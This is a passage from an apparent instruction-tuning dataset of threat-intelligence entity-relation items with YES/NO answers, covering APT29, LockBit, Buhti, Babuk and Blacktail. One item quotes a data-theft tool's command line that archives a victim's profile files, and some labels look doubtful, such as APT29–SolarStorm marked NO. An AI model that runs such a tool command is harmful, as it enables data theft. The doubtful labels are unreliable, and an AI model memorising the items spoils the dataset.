relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: Middle East\n### Text Passage:\nThe SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: SolarStorm\n### Text Passage:\nThe SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMetador\n### Target Entity: metaMain\n### Text Passage:\nmetaMain is a backdoor used by Metador to maintain long-term access to compromised machines; it has also been used to decrypt Mafalda into memory.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQUIETCANARY\n### Target Entity: .NET\n### Text Passage:\nQUIETCANARY is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkGate\n### Target Entity: Delphi\n### Text Passage:\nDarkGate first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by its author, DarkGate is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAppleSeed\n### Target Entity: JavaScript\n### Text Passage:\nAppleSeed can disguise JavaScript files as PDFs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: Syrphid\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: Bitwise Spider\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: LockBit\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit\n### Target Entity: Syrphid\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSyrphid\n### Target Entity: C&C\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit\n### Target Entity: Bitwise Spider\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitwise Spider\n### Target Entity: C&C\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit\n### Target Entity: C&C\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit\n### Target Entity: Windows\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: Windows\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Windows\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: C&C\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Babuk\n### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBabuk\n### Target Entity: ESXi\n### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBabuk\n### Target Entity: ESXi\n### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: ESXi\n### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Linux\n### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Babuk\n### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Windows\n### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd\n### Target Entity: Exfiltration tool\n### Text Passage:\nExfiltration tool\nBlacktail does appear to use at least one piece of custom malware, a data-exfiltration tool (SHA256: 9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd).\nWritten in Golang, it is designed to steal the following file types: .pdf, .php, .png, .ppt, .psd, .rar, .raw, .rtf, .sql, .svg, .swf, .tar, .txt, .wav, .wma, .wmv, .xls, .xml, .yml, .zip, .aiff, .aspx, .docx, .epub, .json, .mpeg, .pptx, .xlsx, .yaml. Copied files are placed into a .zip archive, which is created using an open source utility called zip.\nThe tool can be configured via command-line arguments to specify both the directory to search for files of interest in and the name of the output archive. The -o argument in the command line specifies the archive to be created. The -d argument specifies the directory to search for files of interest in. For example:\nCSIDL_WINDOWS\\temp\\xhfw.exe -o CSIDL_WINDOWS\\temp\\output.zip -d CSIDL_PROFILE\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlacktail\n### Target Entity: Golang\n### Text Passage:\nExfiltration tool\nBlacktail does appear to use at least one piece of custom malware, a data-exfiltration tool (SHA256: 9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd).\nWritten in Golang, it is designed to steal the following file types: .pdf, .php, .png, .ppt, .psd, .rar, .raw, .rtf, .sql, .svg, .swf, .tar, .txt, .wav, .wma, .wmv, .xls, .xml, .yml, .zip, .aiff, .aspx, .docx, .epub, .json, .mpeg, .pptx, .xlsx, .yaml. Copied files are placed into a .zip archive, which is created using an open source utility called zip.\nThe tool can be configured via command-line arguments to specify both the directory to search for files of interest in and the name of the output archive. The -o argument in the command line specifies the archive to be created. The -d argument specifies the directory to search for files of interest in. For example:\nCSIDL_WINDOWS\\temp\\xhfw.exe -o CSIDL_WINDOWS\\temp\\output.zip -d CSIDL_PROFILE\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExfiltration tool\n### Target Entity: Exfil\n### Text Passage:\nExfiltration tool\nBlacktail does appear to use at least one piece of custom malware, a data-exfiltration tool (SHA256: 9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd).\nWritten in Golang, it is designed to steal the following file types: .pdf, .php, .png, .ppt, .psd, .rar, .raw, .rtf, .sql, .svg, .swf, .tar, .txt, .wav, .wma, .wmv, .xls, .xml, .yml, .zip, .aiff, .aspx, .docx, .epub, .json, .mpeg, .pptx, .xlsx, .yaml. Copied files are placed into a .zip archive, which is created using an open source utility called zip.\nThe tool can be configured via command-line arguments to specify both the directory to search for files of interest in and the name of the output archive. The -o argument in the command line specifies the archive to be created. The -d argument specifies the directory to search for files of interest in. For example:\nCSIDL_WINDOWS\\temp\\xhfw.exe -o CSIDL_WINDOWS\\temp\\output.zip -d CSIDL_PROFILE\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: CVE-2023-27350\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPaperCut NG\n### Target Entity: CVE-2023-27350\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Blacktail\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: PaperCut\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": 